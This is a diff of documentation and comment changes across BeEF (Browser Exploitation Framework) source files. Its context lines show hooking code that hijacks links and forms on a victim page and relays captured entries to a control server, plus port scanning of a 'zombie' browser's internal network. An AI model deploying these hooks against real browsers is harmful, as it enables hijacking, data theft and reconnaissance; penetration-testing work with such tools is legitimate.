function normalizeArray(parts, allowAboveRoot) {
// if the path tries to go above the root, `up` ends up > 0
var up = 0;
@@ -357,6 +377,7 @@ var utils = require('./utils')
/**
* version
* @memberof browser_jools
*/
exports.version = '0.0.1';
@@ -367,7 +388,7 @@ exports.version = '0.0.1';
* - Descriptive name
* - One or more conditions
* - One or more consequences, which are fired when all conditions evaluate to true.
*
* @memberof browser_jools
* @param {Object} rules
*/
function Jools(rules) {
@@ -426,7 +447,7 @@ module.exports = Jools;
require.define("/node_modules/jools/lib/utils.js", function (require, module, exports, __dirname, __filename) {
/**
* Returns an array of parameter names of the function f
*
* @memberof browser_jools
* @param {Function} f
*/
module.exports.paramNames = function (f) {
@@ -443,7 +464,7 @@ module.exports.paramNames = function (f) {
/**
* Creates an array of arguments
*
* @memberof browser_jools
* @param {Object} obj
* @param {Array} params
*/

View File

@@ -1,5 +1,5 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

View File

@@ -1,8 +1,9 @@
/*!
/**
* Platform.js
* Copyright 2014-2018 Benjamin Tan
* Copyright 2011-2013 John-David Dalton
* Available under MIT license
* @namespace platform
*/
;(function() {
'use strict';
@@ -1032,7 +1033,7 @@
/**
* The platform object.
*
* @name platform
* @memberof platform
* @type Object
*/
var platform = {};

View File

@@ -1,13 +1,12 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.logger
*
/**
* Provides logging capabilities.
* @namespace beef.logger
*/
beef.logger = {

View File

@@ -1,15 +1,18 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @namespace beef.mitb
*/
beef.mitb = {
cid:null,
curl:null,
/** Initializes */
init:function (cid, curl) {
beef.mitb.cid = cid;
beef.mitb.curl = curl;
@@ -61,7 +64,7 @@ beef.mitb = {
}
},
// Initializes the hook on anchors and forms.
/** Initializes the hook on anchors and forms. */
hook:function () {
beef.onpopstate.push(function (event) {
beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
@@ -92,7 +95,7 @@ beef.mitb = {
}
},
// Hooks anchors and prevents them from linking away
/** Hooks anchors and prevents them from linking away */
poisonAnchor:function (e) {
try {
e.preventDefault;
@@ -111,7 +114,7 @@ beef.mitb = {
return false;
},
// Hooks forms and prevents them from linking away
/** Hooks forms and prevents them from linking away */
poisonForm:function (form) {
form.onsubmit = function (e) {
@@ -154,7 +157,7 @@ beef.mitb = {
}
},
// Fetches a hooked form with AJAX
/** Fetches a hooked form with AJAX */
fetchForm:function (url, query, target) {
try {
var y = new XMLHttpRequest();
@@ -174,7 +177,7 @@ beef.mitb = {
}
},
// Fetches a hooked link with AJAX
/** Fetches a hooked link with AJAX */
fetch:function (url, target) {
try {
var y = new XMLHttpRequest();
@@ -195,7 +198,7 @@ beef.mitb = {
}
},
// Fetches a window.location=http://domainname.com and setting up history
/** Fetches a window.location=http://domainname.com and setting up history */
fetchOnclick:function (url) {
try {
var target = document.getElementsByTagName("html")[0];
@@ -225,7 +228,7 @@ beef.mitb = {
}
},
// Relays an entry to the framework
/** Relays an entry to the framework */
sniff:function (result) {
try {
beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
@@ -234,7 +237,7 @@ beef.mitb = {
return true;
},
// Signals the Framework that the user has lost the hook
/** Signals the Framework that the user has lost the hook */
endSession:function () {
beef.mitb.sniff("Window closed.");
}

View File

@@ -1,12 +1,10 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net
*
/**
* Provides basic networking functions,
* like beef.net.request and beef.net.forgeRequest,
* used by BeEF command modules and the Requester extension,
@@ -15,6 +13,8 @@
*
* Also, it contains the core methods used by the XHR-polling
* mechanism (flush, queue)
* @namespace beef.net
*
*/
beef.net = {
@@ -82,11 +82,11 @@ beef.net = {
/**
* Queues the specified command results.
* @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id
* @param: {String} results: the data to send
* @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param: {Function} callback: the function to call after execution
* @param {String} handler the server-side handler that will be called
* @param {Integer} cid command id
* @param {String} results the data to send
* @param {Integer} status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param {Function} callback the function to call after execution
*/
queue: function (handler, cid, results, status, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
@@ -105,12 +105,12 @@ beef.net = {
* NOTE: Always send Browser Fingerprinting results
* (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
* even if WebSockets are enabled.
* @param: {String} handler: the server-side handler that will be called
* @param: {Integer} cid: command id
* @param: {String} results: the data to send
* @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param: {Function} callback: the function to call after execution
* @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
* @param {String} handler the server-side handler that will be called
* @param {Integer} cid command id
* @param {String} results the data to send
* @param {Integer} exec_status the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
* @param {Function} callback the function to call after execution
* @return {Integer} the command module execution status (defaults to 0 - 'unknown' if status is null)
*/
send: function (handler, cid, results, exec_status, callback) {
// defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
@@ -173,8 +173,8 @@ beef.net = {
/**
* Split the input data into chunk lengths determined by the amount parameter.
* @param: {String} str: the input data
* @param: {Integer} amount: chunk length
* @param {String} str the input data
* @param {Integer} amount chunk length
*/
chunk: function (str, amount) {
if (typeof amount == 'undefined') n = 2;
@@ -184,7 +184,7 @@ beef.net = {
/**
* Push the input stream back to the BeEF server-side components.
* It uses beef.net.request to send back the data.
* @param: {Object} stream: the stream object to be sent back.
* @param {Object} stream the stream object to be sent back.
*/
push: function (stream, callback) {
//need to implement wait feature here eventually
@@ -203,18 +203,18 @@ beef.net = {
/**
* Performs http requests
* @param: {String} scheme: HTTP or HTTPS
* @param: {String} method: GET or POST
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
* @param: {Int} port: 80, 5900, etc
* @param: {String} path: /path/to/resource
* @param: {String} anchor: this is the value that comes after the # in the URL
* @param: {String} data: This will be used as the query string for a GET or post data for a POST
* @param: {Int} timeout: timeout the request after N seconds
* @param: {String} dataType: specify the data return type expected (ie text/html/script)
* @param: {Function} callback: call the callback function at the completion of the method
* @param {String} scheme HTTP or HTTPS
* @param {String} method GET or POST
* @param {String} domain bindshell.net, 192.168.3.4, etc
* @param {Int} port 80, 5900, etc
* @param {String} path /path/to/resource
* @param {String} anchor this is the value that comes after the # in the URL
* @param {String} data This will be used as the query string for a GET or post data for a POST
* @param {Int} timeout timeout the request after N seconds
* @param {String} dataType specify the data return type expected (ie text/html/script)
* @param {Function} callback call the callback function at the completion of the method
*
* @return: {Object} response: this object contains the response details
* @return {Object} this object contains the response details
*/
request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
//check if same domain or cross domain
@@ -307,7 +307,7 @@ beef.net = {
return response;
},
/*
/**
* Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
* - requestid: needed on the callback
* - allowCrossDomain: set cross-domain requests as allowed or blocked
@@ -490,8 +490,9 @@ beef.net = {
return response;
},
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
/** this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
* http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
*/
clean: function (r) {
if (this.array_has_string_key(r)) {
var obj = {};
@@ -502,7 +503,7 @@ beef.net = {
return r;
},
//Detects if an array has a string key
/** Detects if an array has a string key */
array_has_string_key: function (arr) {
if ($j.isArray(arr)) {
try {

View File

@@ -1,19 +1,22 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// beef.net.connection - wraps Mozilla's Network Information API
// https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
// https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
/**
* beef.net.connection - wraps Mozilla's Network Information API
* https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
* https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
* @namespace beef.net.connection
*/
beef.net.connection = {
/* Returns the connection type
* @example: beef.net.connection.type()
* @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
* @return: {String} connection type or 'unknown'.
**/
/**
* Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
* @example beef.net.connection.type()
* @return {String} connection type or 'unknown'.
*/
type: function () {
try {
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
@@ -25,11 +28,11 @@ beef.net.connection = {
}
},
/* Returns the maximum downlink speed of the connection
* @example: beef.net.connection.downlinkMax()
* @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
* @return: {String} downlink max or 'unknown'.
**/
/**
* Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
* @example beef.net.connection.downlinkMax()
* @return {String} downlink max or 'unknown'.
*/
downlinkMax: function () {
try {
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;

View File

@@ -1,3 +1,7 @@
/**
* @namespace beef.net.cors
*/
beef.net.cors = {
handler: "cors",

View File

@@ -1,23 +1,29 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net.dns
/**
*
* request object structure:
* + msgId: {Integer} Unique message ID for the request.
* + domain: {String} Remote domain to retrieve the data.
* + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
* + callback: {Function} Callback function to receive the number of requests sent.
* @namespace beef.net.dns
*/
beef.net.dns = {
handler: "dns",
/**
*
* @param msgId
* @param data
* @param domain
* @param callback
*/
send: function(msgId, data, domain, callback) {
var encode_data = function(str) {

View File

@@ -1,13 +1,12 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net.local
*
/**
* Provides networking functions for the local/internal network of the zombie.
* @namespace beef.net.local
*/
beef.net.local = {
@@ -22,7 +21,6 @@ beef.net.local = {
* is invalid:
* sock: new java.net.Socket();
*/
initializeSocket: function() {
if(this.checkJava){
if(!beef.browser.hasJava()) {
@@ -50,8 +48,8 @@ beef.net.local = {
/**
* Returns the internal IP address of the zombie.
* @return: {String} the internal ip of the zombie.
* @error: return -1 if the internal ip cannot be retrieved.
* @return {String} the internal ip of the zombie.
* @error return -1 if the internal ip cannot be retrieved.
*/
getLocalAddress: function() {
if(!this.hasJava) return false;
@@ -68,8 +66,8 @@ beef.net.local = {
/**
* Returns the internal hostname of the zombie.
* @return: {String} the internal hostname of the zombie.
* @error: return -1 if the hostname cannot be retrieved.
* @return {String} the internal hostname of the zombie.
* @error return -1 if the hostname cannot be retrieved.
*/
getLocalHostname: function() {
if(!this.hasJava) return false;

View File

@@ -1,21 +1,27 @@
//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net.portscanner
*
/**
* Provides port scanning functions for the zombie. A mod of pdp's scanner
*
* Version: '0.1',
* author: 'Petko Petkov',
* homepage: 'http://www.gnucitizen.org'
* @namespace beef.net.portscanner
*/
beef.net.portscanner = {
/**
*
* @param callback
* @param target
* @param port
* @param timeout
*/
scanPort: function(callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
@@ -38,7 +44,13 @@ beef.net.portscanner = {
}, timeout);
},
/**
*
* @param callback
* @param target
* @param ports_str
* @param timeout
*/
scanTarget: function(callback, target, ports_str, timeout)
{
var ports = ports_str.split(",");

Some files were not shown because too many files have changed in this diff Show More